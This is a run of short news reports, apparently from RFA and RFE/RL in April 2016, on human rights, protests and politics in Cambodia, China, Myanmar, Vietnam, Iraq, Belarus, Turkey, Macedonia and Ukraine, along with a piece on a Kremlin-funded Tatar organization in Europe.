Buddhist monk But Buntenh told RFA that he received a death threat on Wednesday from a former soldier who was upset that he was teaching local forest activists to protect the Prey Lang Forest.

He said he wont forgive me, he will kill me, But Buntenh told RFA, adding that the villager was paid 5,000 riel (U.S. $ 1.25) to threaten activists.

I am teaching villagers how to stop illegal timber smuggling and encourage villagers to be agents or reporters to report about the forest crime, he said. It is against their [loggers] benefits. They are mad about it.

For Leng Ouch, the only way to make the illegal lumber trade end before all of Cambodias forests are mowed down is to take away the profit motive that drives Cambodians to sell out what he sees as their birthright.

China and Vietnam seem to be the masters of Cambodia as they come to invest in Cambodia and they collect the natural resources, cut the forests and export the raw materials back to their countries to become rich, he said. That leaves the Cambodian people suffer the impact of losing forests and makes their livelihood become worse and worse from one year to another.

Cambodia has one of the highest rates of deforestation in the world, largely due to illegal logging. A report issued last year Global Witness found that government and military officials collude with businessmen to illegally cut and transport Cambodian timber mainly to China.

Reported by Banung Ou, Sel San, Southerin Yeang, Thai Tha and Vutny Huot for RFAs Khmer Service, with additional reporting by Brooks Boliek. Translated by Panawath Khun and Samean Yun. Written in English by Brooks Boliek.
Cambodian opposition lawmaker Um Sam An (C) is escorted by police officials at the Ministry of the Interior in Phnom Penh, April 11, 2016.

A Cambodian court on Friday denied bail to opposition lawmaker Um Sam An but did not provide an adequate reason for its decision, the politicians lawyer said.

Judge Top Chhun Heng of the Phnom Penh Municipal Court denied the lawmakers request for bail and said it was best to keep him locked up, attorney Choung Chou Ngy told RFAs Khmer Service

I received the denial, he said. I think it is inappropriate. I will appeal the case in an appeals court.

On April 12, the court officially charged Um Sam An of the Cambodia National Rescue Party (CNRP) with two criminal offenses over his accusations that the government conceded land to Vietnam along its border.

The court placed him in pretrial lockup in the countrys notorious Prey Sar prison for incitement to commit a felony and incitement to cause discrimination.

Prime Minister Hun Sen, who critics say routinely uses such tactics against the political opposition, said Um Sam Ans arrest is lawful and justifiable, according to Council of Ministers spokesman Phay Siphan.

The lawmakers attempt to raise the issue about the border was to incite and provoke conflict with a neighboring county and to topple the prime minister, Hun Sen said at a recent council meeting.

CNRP spokesman Yim Sovann said Um Sam An is a victim of politics played by the ruling Cambodian Peoples Party (CPP).

We all know that this is a politically motivated case, he said. We must resolve this issue through political means.

Prime Minister Hun Sen on Friday lashed out against Um Sam An, calling him a troublemaker over border issues and accusing him of trying to incite conflict between Cambodia and Vietnam in an attempt to unseat him.

Hun Sen has ruled Cambodia for more than 30 years.

The charges arose from Um Sam Ans accusations that the CPP had failed to stop land encroachment by Vietnam and used improper maps to demarcate the border between the two former colonies of France.

He faces up to five years in prison under the two incitement charges, the first of which carries a penalty of six months to two years in jail plus a fine. The second charge is punishable by one to three years in jail and a fine of 2 million-6 million riel (U.S. $500-U.S. $1,500), Chhoung Chou Ngy said.

Reported by Khe Sonorng for RFAs Khmer Service. Translated by Samean Yun. Written in English by Roseanne Gerin.


Authorities in the southern Chinese province of Guangdong on Friday tried the latest in a string of next-generation rights activists for subversion after he posted a number of political essays online.



Chen Qitang, better known by his pseudonym Tian Li, stood trial at the Foshan Intermediate Peoples Court on a charge of "incitement to subvert state power."



The trial, which lasted just two-and-a-half hours, focused on six political commentary pieces posted by Chen, three of which were penned by him, his defense lawyer Liu Xiaoyuan told RFA.



Chen pleaded not guilty, and his defense team argued that none of his actions constituted a crime under Chinese law, Liu said.



The prosecution case said the articles represented a "harsh attack" on the ruling Chinese Communist Party, however.



A verdict and sentence will be announced at a later date, usually within six weeks in China's judicial system.



"It's hard to predict what the sentence will be," Liu said. "The prosecution were of the view that [Chen] is a repeat offender."



He added: "His first sentence was less than five years, and his arrest [though not his subsequent trial] was also for incitement to subvert state power."



Incitement to subvert state power carries a maximum jail term of five years in less serious cases, and a minimum jail term of five years in cases deemed more serious, including where the suspect is regarded as a ringleader or a repeat offender.



Jailed Nobel peace laureate Liu Xiaobo is currently serving a 13-year sentence on the same charge.



Chen, a former editor of two online publications, has already served a two-and-a-half year jail-term for "fraud" after he helped local farmers in Foshan defend their land rights.



Tight security



Security was tight around the trial, with some 20 or 30 police vehicles parked outside the court, and around 100 officers on duty, fellow defense attorney Li Fangping told RFA.



The authorities had foam extinguisher trucks from the fire department, a water cannon, and some empty buses for detainees standing by, Li said.



Calls to the Foshan municipal police department rang unanswered during office hours on Friday.



The trial comes a day after the same court tried activist Su Changlan on the same charge after she showed public support for the 2014 pro-democracy movement in Hong Kong.



Guangdong rights activist Liang Songji said he had driven to Foshan along with his wife on Friday in a bid to attend the trial, but was detained by plainclothes police as soon as he approached the court buildings.



He said several dozen farmers who Chen had previously helped in a land dispute were also taken away from outside the court by police.



"They stopped my car, beat it and shot video of us; they were trying to make me get out of the car, and then they dragged me out and kidnapped me," Liang said. "They bundled me into a police station, and then to a detention center somewhere in Foshan."



"Then the Guangzhou police came and escorted me back to Guangzhou," he said.



Chen was initially by police under administrative detention in October 2014. His status was later converted to criminal detention owing to his connection to Su Changlan, the Chinese Human Rights Defenders Network (CHRD) said in a statement on its website.



Abused in detention



The group, which collates and translates reports from a network of groups inside China, said Chen is the latest in a string of five activists to face trial, many of whom have reported mistreatment in detention and abuse of due legal process.



"Violations include restricted access to legal counsel, unreasonably prolonged pre-trial detention, deprivation of proper medical treatment, and increased use of endangering national security

charges," CHRD said.



"Several of those who have been put on trial over the past week have alleged they were tortured or mistreated in other ways while in custody. CHRD calls for their immediate and unconditional release," it said.



The group said Chen and fellow activists Liu Shaoming, Yuan Bing, Yuan Xiaohua and Su Changlan were all detained in apparent violation of their rights to exercising free expression and assembly, and after posting essays, messages or photos of a politically sensitive nature online, or taking part in peaceful demonstrations.



Not all face subversion charges; some have stood trial for public order offenses.



However, all the cases were marked by abuses of due process rights, something that has become commonplace under the administration of President Xi Jinping, CHRD said.



All activists were subjected to unreasonably prolonged pre-trial detention, while some reported restricted access to lawyers and deprivation of proper medical treatment in the case of Su Changlan.



Reported by Hai Nan for RFA's Cantonese Service and by the Mandarin Service. Written in English by Luisetta Mudie.
Chinese protesters hold up a banner saying "We want life! No to pollution!" in protest at a planned waste incinerator in Xitangqiao township in eastern China's Zhejiang province, April 20, 2016.

Thousands of residents of the eastern Chinese province of Zhejiang are waging a campaign against plans to build a trash incinerator plant near their homes, in a string of protests that have seen hundreds injured by riot police wielding batons and tear gas, local sources told RFA.

Several thousand people turned out for consecutive protests on Wednesday and Thursday in Xitangqiao township near Zhejiang's Jiaxing city, only to be met by ranks of police with shields and wielding batons, they said.

"There were riot police and some regular police as well ... They used a lot of force," a Xitangqiao resident surnamed Hu told RFA.

People were injured, and they were detaining people, yes, including an old lady and young people; they were all detained regardless, dragged into police vehicles," Hu said.

"My brother was beaten by police batons until he was nearly unconscious, and I was shoved to the ground and my hands injured; the ambulance came for me," she said. "It seems one of my hands is very badly injured."

The protests continued despite promises from local officials to scratch the project.

A resident surnamed Qu said police fired tear gas on the crowd after it swelled on Thursday to several thousand.

"The government had already said that evening that it would cancel the project, but then local people demanded the release of everyone who had been detained," Qu said. "The riot police used tear gas to disperse them, and then they chased them, and everyone ran off."

Tensions running high

Wednesday also saw sporadic clashes as protesters dispersed in the face of police baton charges before regrouping after they had eaten and gathering once more, Hu said.

Several hundred people charged into county government offices late on Wednesday, Hu said.

Tensions were still running high in Xitangqiao on Friday amid a tight security lock-down, local residents said.

"We had very serious clashes here in the past couple of days ... A lot of people here including myself had friends or relatives including old people who were injured," local resident Xiao Ting said.

"It was really chaotic, and a lot of people were beaten up ... Some had head injuries and blood pouring out," she said.

Calls to government offices in Haiyan county and Xitangqiao township rang unanswered during office hours on Thursday.

Still skeptical

A resident surnamed Zheng said on Friday that local people are still skeptical about the government's promise to scrap the project.

"We will watch and we will wait," Zheng said. "The government may have promised to cancel the project, but a lot of people are still unsure and very fearful. The situation has calmed down today, but there are still large numbers of riot police patrolling the streets."

Protesters say the planned incinerator plant is too close to schools and a residential district and that pollution will likely affect their health.

"They can't build it right next to people's homes and schools," a protester surnamed Dai told RFA. "China is a big place, and there are no people at all in some parts of the country."

"Why do they have to build it in a densely populated area?" Dai said.

A resident surnamed Wang said she isn't against waste incinerators, but that they shouldn't be built too closely to residential areas.

"If waste needs to be processed in a centralized manner, then they should do it some distance away from the residential districts," Wang said. "We want them to pick a new location."

Reported by Wong Lok-to and Wen Yuqing for RFA's Cantonese Service, and by Qiao Long for the Mandarin Service. Translated and written in English by Luisetta Mudie.
In her first briefing with members of the foreign diplomatic corps, Foreign Minister Aung San Suu Kyi said Friday in Naypyidaw that Myanmar will foster better relations with other countries, as the new government works to build a strong democratic nation.

She told diplomats from Singapore, Bangkok and Delhi, among others, inside the foreign affairs ministry that the new administration led by her National League for Democracy (NLD) party will work with other countries to foster better relations and peace, prosperity and friendship.

This has always been our aimthat our country should always be the grounds for fostering better relations not just between our neighbors and ourselves, but between us and the rest of the world and between all other countries as well, she said.

Aung San Suu Kyi also told the ambassadors that they could call her country either Burma or Myanmar, but that she herself was accustomed to calling it Burma.

Its up to you because there is nothing in the constitution of our country that says we must use any term in particular, she said, adding that she would make an effort to use Myanmar as well from time to time.

This is what diplomacy is all about, she said. We have to learn to accommodate each other. We have to be aware of other peoples problems. We have to think as much about resolving others problems as about resolving our own.

A foreign policy that is based only on getting our own way is not much of a foreign policy, she said.

The military junta that ruled the country for a half-century until 2011 had changed the nations name from Burma to Myanmar in 1989, a year after thousands of people were killed during the suppression of a popular pro-democracy uprising.

Some activists and western governments, however, continued to refer to it as Burma.

Aung San Suu Kyi also holds the positions of state counselor and minister of the Presidents Office under the NLD government, which came into power on April 1.

As the countrys de facto leader, she has pledged to forge lasting peace and reconciliation among Myanmars many ethnic groups by creating a democratic federal union, but has said little publicly about relations with foreign countries.

Earlier this month, she met with the foreign ministers of China, Canada and Italy.

Constructive relationships

What we have heard is about the importance of peace inside the country, the importance of reconciliation, and the importance of having good, constructive relationships with all countries in the world, said Roland Kobia, the European Unions ambassador to Myanmar, who attended the briefing.

There seems to be enormous good will from the international community, and certainly from the European Union and all of the member states of the European Union  to support this new administration to work on the part of democracy, freedoms, rule of law, the free market economy, and notably to bring the living standards of the people to a higher level, he said.

The EU lifted all political and economic sanctions, except for an arms embargo, against Myanmar in April 2013. The move came a year after the bloc had suspended sanctions a year earlier after the countrys quasi-civilian government led by former President Thein Sein introduced democratic reforms.

The reforms also boosted personal freedoms and allowed Aung San Suu Kyi, who had spent 15 years under house arrest, to return to national politics and be elected to parliament.

Kobia also said Myanmar deserves a much higher place among nations in the international community.

It has all the capacities for that, he said.

What we need now is to put a framework in place to give all the chances to Myanmar to develop, to regain its place in the international community, to have the influence it deserves in the region and to build the best possible relationship with the countries around it, he said.

Reported by Myo Thant Khine for RFAs Myanmar Service. Written in English by Roseanne Gerin.
An official list of Uyghur police officers who died last year in northwestern Chinas troubled Xinjiang region has confirmed details of previously unacknowledged clashes with members of the mostly Muslim minority group, sources say.



The list, titled Our Heroes and published online on April 1 by Chinas Ministry of Public Security, was taken down shortly after it became clear that many of those named had not been killed in the line of duty, but had died in traffic or drowning accidents or of heart attacks while under stress and in poor health.



However, one of those named was described as having been killed in a June 2015 clash in Kashgar (in Chinese, Kashi) prefectures Kashgar city reported by RFA but unconfirmed by official Chinese sources, with two other officers also said to have died in connection with a previously unreported incident in November.



As many as 28 may have died following a knife and bomb attack by a group of ethnic Uyghurs on a police traffic checkpoint in Kashgar on June 22, 2015, sources in the region told RFAs Uyghur Service in earlier reports.



Among those killed in the clash was Uyghur police officer Abdusattar Haji, 42, the MPS website said, providing details of the attack identical to those given in RFA reports and confirming the attack itself, which had previously gone unreported in Chinese media and had never been acknowledged by government officials.



'Horrifying'



The MPS list also named a Uyghur forensic specialist, Abduweli Abdukerim, who it said had died in November of a heart attack while examining a body, unidentified in the report, at a police station in Kasghars Tokkuztara (Gongliu) county.



Police officers and local officials contacted by RFA have now revealed that the previously unidentified body was that of Zemin township police chief Memet Sidiq, who had been stabbed while conducting a house-to-house check for religious extremists.



The incident was never reported in the media or in any meetings, police officer Tursun Weli told RFA, adding that following the knife attack on Sidiq, police officers killed five men in the house they had inspected.



Some of them were friends of the attacker, and some were neighbors, Weli said.



Eli Ibrahim, chief of Zemin townships No. 15 village, said, Memet Sidiqs body was moved to my office just after the incident, and Abduweli Abdukerim examined his corpse.



I found him very depressed, because the condition of Memet Sidiqs body was so horrifying, he said.



Heavy-handed rule



Rights groups accuse Chinese authorities of heavy-handed rule in Xinjiang, including violent police raids on Uyghur households, restrictions on Islamic practices, and curbs on the culture and language of the Uyghur people.



China regularly vows to crack down on what it calls the three evils of terrorism, separatism, and religious extremism in Xinjiang.



But experts outside China say Beijing has exaggerated the threat from Uyghur separatists, and that domestic policies are responsible for an upsurge in violence that has left hundreds dead since 2012.



Reported and translated by Shohret Hoshur for RFAs Uyghur Service. Written in English by Richard Finney.
Members of the environmental group Greenpeace hold up a sign that reads "#LET THEM STAY" in a protest over Australia's refugee policies, Feb. 14, 2016.

Four refugees who were returned to Vietnam by Australia a year ago were sentenced to prison on Friday for their role in staging an attempt by their extended family to flee the country, RFAs Vietnamese service has learned.

Tran Thi Thanh Loan was sentenced to 36 months in prison, while her husband Ho Trung Loi received 24 months. Tran Thi Lien was jailed for 36 months, and Nguyen Van Hai received 24 months, according to court documents seen by RFA.

They were tried and convicted by the local Peoples Court in La Gi town in Binh Thuan province on charges they violated article 275 of Vietnams penal code, one of the laws Vietnam uses to combat human trafficking for commercial sexual exploitation.

The four defendants were among 46 people who fled Vietnam by boat in March 2015. They were returned by boat from Australia in April of last year, and Loi and Hai were detained in July.

Tran Thi Thanh Loan and Tran Thi Lien were permitted to remain at home with their children after their sentencing.

Maybe they let me stay at home because I dont have my own house and because of my four children, Tran Thi Thanh Loan told RFA on Friday.

Reported and translated by Viet Ha for RFAs Vietnamese Service. Written in English by Paul Eckert.
An Azerbaijani rights defender says an Armenian who defected to arch rival Azerbaijan in September has left for another country.

Novella Cafaroglu said on April 22 that Vahan Martirosian and his family had been transferred to another undisclosed country.

Martirosian, who has presented himself as an opposition activist and the head of a nongovernmental organization called Internal National Liberation Movement, told reporters in Baku on September 18 that he had requested political asylum in Azerbaijan.

Martirosian claimed that he had been persecuted by Armenian authorities for his political activities and therefore decided to defect to Azerbaijan together with his wife and their toddler son.

However, Armenian authorities said then that the organization mentioned by Martirosian did not exist and he himself had been added to the wanted list for theft.

Based on reporting by apa.az and Interfax
Reports from Iraq say a suicide bomber has killed at least eight people when he detonated his explosive vest after Friday Prayers at a Shi'ite mosque in Baghdad.

Officials said the April 22 attack in the capitals southwestern district of Al-Radwaniya also wounded more than 30 people.

They said a second suicide attacker at the mosque was shot and killed by security forces before he could set off his explosives.

There was no immediate claim of responsibility for the attack, but the Islamic State group battling government forces in Iraqs north and west has regularly targeted Shi'ite areas in Baghdad.

Based on reporting by AFP, Reuters, and dpa
Belarusian authorities published on April 22 new legislation criminalizing participation in any military activities abroad.

The amendments to the Penal Code will come into force 10 days after they were published on April 22.

The bill was adopted by lawmakers in March and signed by President Alyaksandr Lukashenka on April 20.

According to the amendments, participation in any military activities abroad will be punishable by up to five years in jail, while those who financially support fighters abroad may face up to six years in jail.

The law previously envisaged criminal liability only for persons hired to fight in armed conflicts abroad.

In March, Belarusian authorities said 140 Belarusian nationals were fighting in eastern Ukraine either alongside Russia-backed separatists or Ukrainian armed forces.
In today's Turkey, there is not one, not two, but at least three major areas that deeply cut society into occasionally quite antagonistic fronts: politics, religion, and, more importantly, ethnicity, which is being translated into terror. All of them intertwine.

The first deep divide is about politics.

In Izmir, there are two grocery shops (markets or bakkal, as they are called in Turkish) just a few steps from our home in a middle-class neighborhood where hundreds of government employees also live. These two markets are divided along political lines.

One shop owner is a tough, secular, pro-Ataturk retiree who does not miss any opportunity to criticize the government of President Recep Tayyip Erdogan. The other shop owner has a portrait of the president hanging in his store and every small manner of his speaking and behavior suggests that he is a devout Muslim.

The first shop owner greets you in a traditional Turkish manner with gunaydin ("nice day") and the second in a traditional, Islamic way: Selamun-Aleykum.

Finally, the second shop owner sells no alcoholic drinks whatsoever, not even beer, in a city that has traditionally been quite secular. The first shop owner used to sell any sort of alcoholic drink in the past, especially the Turks' favored raki (Greek ouzo). But with increasing pressure, direct or indirect, by the Islamic-leaning government of Erdogan, our secular "bakkal" started to cover the shelves holding "undesired" drinks. No law (yet) bans the sale of alcohol and the secular bakkal keeps selling it. But the shop owner doesn't want to incur the protests of loyal government employees, either.

Depending on your political point of view and to which party or personality you lean toward (and that can vary,) you don't trust parliamentarians a word, nor TV moderators, nor in fact TV channels, or newspapers, or neighbors and co-workers considered to be supportive of the other side.

The deepest political divide is between seculars, who think of themselves as true followers of principles of laicism and a democratic republic introduced in 1923 by Ataturk, on the one side, and those who claim to be faithful and committed to Islam and tradition, on the other.

The second group is far more conservative and primarily religious in all aspects of life, from women wearing Islamic clothing to men publicly going to mosque to pray during work hours.

The seculars are in fact more democratic-minded in some sense of Western standards. Not only do they not pressure women to wear head scarves, but they even encourage them not to do so, although their mothers or at least grandmothers usually went out with their heads covered in the traditional way (different from the "political" hijab that became fashionable among the Islamic movements of the Erdogan era.)

The seculars usually dont pray but still fast during the month of Ramadan. Also, drinking beer or raki, and more recently the more fashionable wine, is a normal thing for them. Family relations are more liberal but still very traditional. They are oversensitive to any criticism of Ataturk and the Turkish Army and history. They usually dont like the Ottoman sultans, especially the last ones before the founding of the republic, and believe most of them had become puppets of Western colonial powers in the early 20th century.

But ironically their understanding of democracy is usually very anti-Western and generally overwhelmed by diverse and occasionally incomprehensible conspiracy theories that are impossible to prove, although sometimes difficult to deny. All bad that has come upon Turkish society was and still is from the West, as well as Israel and Armenia. All the world is plotting against the Turks and now the West is helping the Kurdish groups in Iraq, Syria, and inside Turkey to split their country, as they did with Iraq and Syria. Their political representation is mostly in the main opposition social democratic party, the Republican Peoples Party (CHP), but also in the main nationalist party, the Nationalist Movement Party (MHP).

In many aspects, the pro-Kurdish Peoples Unity Party (HDP) also shares a lot of these political concepts. Probably they are more areligious, called secular, and more liberal toward women, at least in urban and politically rather leftist circles. But before anything else, they are heavily ethnicity-focused -- with the Kurdish community in Turkey and neighboring countries as their guiding compass.

Many of the conspiracy theories enthusiastically defended by seculars and the Kurdish groups, and more, and in different variations, are shared by the conservative/religious group that is politically represented by the ruling Justice and Development Party (AKP). The outbursts by Erdogan that we regularly hear and read in local media are partly played for political consumption, but are generally genuine, though embarrassing. They are, in essence, Islamic-minded with a quite strong, though not MHP-like, nationalism that borders on racism.

This brings us to the second factor, the religion dividing the Turkish nation, before we talk about the main divisive cut through society: the Kurdish issue and the ethnicity problem.

Stay tuned.
The banner of the European Alliance of Tatars (ATA), an array of yellow stars on a field of blue, resembles the symbolism of the European Union. But the organization, which purports to be an umbrella group for ethnic Tatar communities in European countries, is really just a group of pro-Moscow individuals.



The ATA is a project of the Russian government, one of many being created under the "Russian World" rubric to boost the Kremlin's soft power in Europe. The Foreign Ministry has established a Foundation for Supporting and Protecting the Rights of Compatriots Abroad to implement this initiative, working in close cooperation with Rossotrudnichestvo, the Russian government aid agency that is tasked with "forming a positive image of Russia abroad."

"The people from the alliance are trying to sit in two chairs at once," says Adas Jakubauskas, head of the Union of Tatar Organizations in Lithuania. "They are registered in Brussels, but the money comes from the foundation for compatriots of Russia."



Earlier this month, the ATA -- or Auropa Tatarlari Alyansi -- held its fourth-annual "expanded meeting" in the Czech city of Brno.



The main guests at the Brno forum -- aside from around 40 self-proclaimed representatives of Tatar communities -- were Aleksandr Budayev, Russia's consul-general in Brno; Nikolai Barabanov, an official of the Russian Foreign Ministry's department for compatriot affairs; Oleg Solodukhin, deputy head of the Rossotrudnichestvo office in the Czech Republic; and Vyacheslav Yelagin, an adviser to the Foreign Ministry's compatriots foundation.



The meeting's final resolution profusely thanks the Russian Embassy and Rossotrudnichestvo, the Russian government aid agency that is tasked with "forming a positive image of Russia abroad."



The resolution's fourth point states: "We understand clearly that the successful conduct of all our European enterprises would be much more difficult without the organizational, informational, and financial support of the Foreign Ministry's Department for Working With Compatriots Abroad."

'Not Our Organization'

"That is why we are not on the same path with them," Jakubauskas of the Lithuanian Tatar community adds. "We advise members of Tatar communities not to participate in the work of the Alliance of European Tatars. It is not our organization."



Jerzy Shakhunevich, head of the Tatar Cultural Center in Poland, agrees.



"This alliance is a political structure," he told RFE/RL. "I have not found anyone in any country who contributed money. So, for instance, how did they travel to Poland for their meeting? Who paid for their tickets? Moscow. For what reason does Moscow pay for this?"

Over the years, the ATA has received support from various Russia-friendly members of the European Parliament. Lithuanian MEP Valdemar Tomasevski helped to organize the ATA's first congress at the European Parliament in April 2013. Tomasevski's party, the Electoral Action of Poles in Lithuania, routinely forms election alliances with the Lithuanian Russian Union. It has also been supported by Latvian MEP Tatyana Zdanoka, a former Soviet communist who campaigned actively against Latvia's independence from the Soviet Union. She served as an "international observer" of the unrecognized 2014 Russia-organized referendum in the Ukrainian Black Sea region of Crimea that was used by Moscow as a pretext to annex the peninsula.

Wary Of The ATA

Most of Europe's Tatars are Volga, or Kazan, Tatars with roots in Russia's Tatarstan. Although they are sympathetic with their ethnic kin from Crimea, the Crimean Tatars, they have a history of generally shunning political positions. This is one reason they are wary of the ATA, which has participated in Moscow-directed activities that promote Russia's narratives.

The ATA is just one part of an assertive effort by the Russian government to develop a network of Kremlin-friendly organizations around the world, but particularly in Central and Western Europe.



Speaking to a World Conference of Compatriots in Moscow in November 2015, Foreign Minister Sergei Lavrov said the Russian World initiative is "an unconditional foreign-policy priority for Russia" and praised the "consolidation" of the Russian world and its "democratically functioning" organizations.



"The anti-Russian actions of Washington and Brussels, including the introduction of unilateral restrictions, have not impacted our dialogue with these communities, which have duly responded to these developments and voiced their support to Russia," Lavrov said.



In addition to such ethnic organizations as the ATA, Lavrov stressed the synergistic role of Moscow's support of Russian-language media abroad, brought together in the Foreign Ministry's World Association of Russian Press (WARP).



"It is hard to overestimate the role of media outlets in our cooperation with these communities," Lavrov said. "The work of the WARP Foundation for Cooperation with Russian-Language Media is in particularly high demand."

Fabricated Story

The Russian World policy made itself felt dramatically in Germany in January when an obscure Russian group came out with the claim that a 13-year-old girl from a Russian immigrant family had been abducted and raped by asylum-seekers. The story was later proven a fabrication, but only after Russian-state media and Russian-language media in Germany gave it prominent play and thousands of mostly Russian-speaking demonstrators came out into the streets of Berlin.



Speaking to Bloomberg, Joerg Forbrig of the German Marshall Fund said the so-called Lisa Affair was an attempt to "weaponize" electoral politics inside the EU and undermine the government of Chancellor Angela Merkel. "The Lisa Affair was a real eye-opener," Forbrig is quoted as saying.

WATCH: Fake Rape Story Exposes Russian Media Manipulation





A report out this month by Britain's Chatham House highlights the creation of Kremlin "proxy groups" in Central Europe. "Russian pseudo-NGOs undermine the social cohesion of the neighboring states through the consolidation of pro-Russian forces and ethno-geopolitics; the denigration of national identities; and the promotion of anti-U.S., conservative Orthodox [Christian], and Eurasianist values," the report states. "They can also establish alternative discourses to confuse decision-making where it is required, and act as destabilizing forces by uniting paramilitary groups and spreading aggressive propaganda."



The 2015 report of Estonia's Internal Security Service emphasizes the Kremlin's "attempts to exploit the Russian diaspora."



"Instead of supporting Russian-speaking people, the Kremlin has decided to use the slogan of 'compatriot policy' to instigate segregation and undermine integration," the report says. "To increase its influence, Putin's regime use real and imaginary problems and sensitive topics alongside its soft power."



The same report notes Russia's funding "to create new media resources abroad, including in Estonia."

The ATA is an example of the Kremlin's Russian World policy in action, one that was specifically mentioned by Lavrov in his speech to the World Conference of Compatriots, emphasizing that it was created by the Russia-based World Tatar Congress. In 2014 it was registered in Brussels and is headed by an ethnic Tatar living in Lithuania named Flyur Sharipov. In the ATA application, Sharipov presented himself as the head of the Nur Tatar association in Klaipeda, which he listed as a founding organization of the ATA.



This prompted the chairman of Nur to write Sharipov a letter in March 2016 -- a copy of which is in RFE/RL's possession -- saying that Nur had no information about the ATA and was never represented there.

'Stole Our Idea'

Nonetheless, the ATA is registered with the European Union as representing the Tatar communities of Europe. Such registration opens the door for the ATA to fulfill the 11th point of the resolution adopted this month in Brno.



"We will submit our projects in a timely fashion to various foundations of the European Union that provide financial support for the ethnocultural movement," the resolution reads.



Judging by the past, those projects are unlikely to have much to do with promoting Tatar culture or language. Speaking at the Brno meeting, Russian Foreign Ministry official Barabanov praised the ATA's activity in projects aimed at emphasizing Moscow's version of the Soviet role in World War II, such as handing out orange-and-black St. George ribbons.



The story of the ATA is disappointing to Lithuanian-Tatar activist Jakubauskas. He says Europe's Tatars really could benefit from a continental organization and that Tatar groups from the Baltic states had begun discussing forming one when the ATA came along.



"We wanted to create a genuinely European, pro-European organization. Unfortunately, they stole our idea and created this organization instead," he says. "But I emphasize once again -- it is registered in Brussels but financed from [Russia]. For us, that is unacceptable."
The European Union is considering imposing sanctions on Macedonia's leaders for reneging on an agreement last year to investigate corruption in the ruling class and issuing an amnesty instead, news media reported on April 21.

The EU-brokered agreement last June called on Macedonia to appoint a special prosecutor to investigate suspected crimes such as election-rigging and murder cover-up that surfaced in audios of phone conversations that were released by Macedonia's main opposition party based on tapes it said the government obtained by illegally wiretapping more than 20,000 people.

But Macedonian President Gjorge Ivanov last week effectively neutralized the investigation by pardoning 56 officials involved in the wiretapping scandal, provoking a series of protests calling for his resignation that continue to this day.

The presidents pardon extended to top ruling VMRO party leaders, including Nikola Gruevski, who temporarily stepped aside as prime minister in January as part of last year's agreement, as well as top figures from other parties.

The amnesty and other backtracking by the Macedonian government is prompting the EU to consider travel bans and asset freezes against politicians judged to be blocking progress, the Financial Times, The Wall Street Journal, and Reuters reported on April 21.

The EU was forced to call off a mediating session it had tentatively scheduled for April 22 because Macedonia's main political opposition group refused to join the talks as long as the amnesty continued in effect.

"We are extremely concerned by the shortsightedness of the current government. The EU is willing to consider sanctions on politicians blocking a resolution of the crisis. Macedonia is heading towards international isolation," one EU official told Reuters.

An EU diplomat told the Financial Times that unless the amnesty on the wiretapping investigations is suspended and swift progress made on delayed electoral reforms, the commission will withdraw its 2009 recommendation for Macedonia to begin formal EU accession talks.

If the situation does not improve in Skopje, Brussels is also likely to withdraw invitations to Macedonian leaders to attend important NATO and Balkans summits scheduled for July, the FT said.

The possible EU travel bans on leading members of Macedonia's ruling VMRO party would be unprecedented, and all 28 EU countries would have to unanimously agree to such measures, the FT said.

EU officials said they were shocked when Ivanov issued the amnesty, which they considered "a direct attack of the rule of law" and a serious violation of last year's so-called "Przino Agreement."

In a public statement announcing the cancellation of mediation talks on April 21, EU Enlargement Commissioner Johannes Hahn and three members of the European Parliament warned of unspecified "further actions" the EU may take.

We have consistently said that the breakdown of the Przino Agreement would have very serious consequences for the country," they said. "We deeply regret retrograde steps that move the country further away from its aspirations towards European Union accession. In the absence of any further progress, we are now forced to consider further actions."

The persisting rule of law issues in Skopjemust be addressed without any further delay, they said. This concerns in particular the recent presidential pardon and the steps urgently required for the preparation of credible elections which could be recognized by the international community.

Specifically to ensure fair elections, which are currently scheduled for June 5, EU officials said Macedonia needs to clean up its long-disputed voter lists.

With reporting by Reuters, the Financial Times, and The Wall Street Journal
Revolutionary fervor has never looked so bold in Skopje, with grand monuments and statues bathed in paint splatter, and fountains overflowing with soap bubbles.

This is Macedonias "Colorful Revolution," a protest movement that draws on the country's diversity and extends across the political spectrum, uniting people of all stripes, ages, and colors to air their grievances against the government.

And they are getting their message across most vividly, both on the streets and on social media.

"Even the fountain is upset," writes this Twitter user.

Warrior On A Horse, a fountain in the capital's main square that was erected to honor Alexander the Great, cost taxpayers about 10 million euros ($11 million). Now its waters run blood red to symbolize victims of government corruption.

The protests erupted after Macedonian President Gjorge Ivanov announced on April 12 that more than 50 officials implicated in a wiretapping scandal would be pardoned, and the investigation into the illegal telephone surveillance allegedly carried out be the government would be halted.

It was not the response that Macedonians expected nearly a year after the wiretapping scandal, which was revealed by the opposition, plunged their country into political crisis.

After the initial, violent, reaction to the announcement, cooler heads have prevailed as Macedonians gather in Skopje every evening under the slogan: 'No Justice, No Peace!'"

This Twitter user posted a photo proudly exclaiming: "Skopje, my city!

As the protesters found their own unique way to exhibit their anger, Macedonian journalist Kristina Ozimec coined a term for their movement -- Colorful Revolution -- a nod to the colorful makeup of the protesters.

The moniker stuck, and spilled onto the streets...

...and on social media.

"It's colored once again."

Statues and monuments are apparently in the crosshairs of paint guns because they were erected as part of a highly expensive and allegedly corrupt urban renewal project.

Now Skopjes version of Paris Arc de Triomphe is peppered with bright colors.

The movement is organized primarily through Facebook and Twitter and the hashtags # (color revolution) # (Coloring for justice) and # (I protest). For more than a week, they have helped flood social media with images of thousands of protesters, activists, and statues bearing their "color of anger."

This bronze statue of Prometheus used to be controversial because it was installed without anything covering the mythological god's manhood.

This Twitter user says that now Prometheus has good reason to wear underwear:

The Facebook page   has been posting images and videos from the daily protests:

These protests differ from the protests that erupted in February 2015 when the opposition released recordings allegedly made illegally by the government.

This time around, above all, it's a citizens protest that has united rights activists and average citizens.

"I see a lot of people out on the streets who have never been involved in politics," activist Zamir Mehmeti told RFE/RLs Macedonian Unit.

Mehmeti says he has not seen any party flags at the protests.

Members of Macedonias LGBT community have also been showing their colors during the protests.

Despite the presence of government supporters at the April 21 protest, the scene has generally been euphoric, festive, and free of violence.

Which was not always been the case -- as highlighted by clashes on April 13 where protesters stormed and ransacked one of the presidents offices in the city center.
OSCE Representative on Freedom of the Media Dunja Mijatovic has warned that recent legislative steps in Ukraine could limit free media and the free flow of information.

On April 20, President Petro Poroshenko signed amendments to the law on cinema banning all Russian films made after January 1, 2014. It also bans movies produced by Russia after 1991 if they "glorify the work of government bodies" of Russia.

Mijatovic said in a statement on April 22 that Ukraines current significant progress in the area of media freedom should be preserved and enhanced, not undermined.

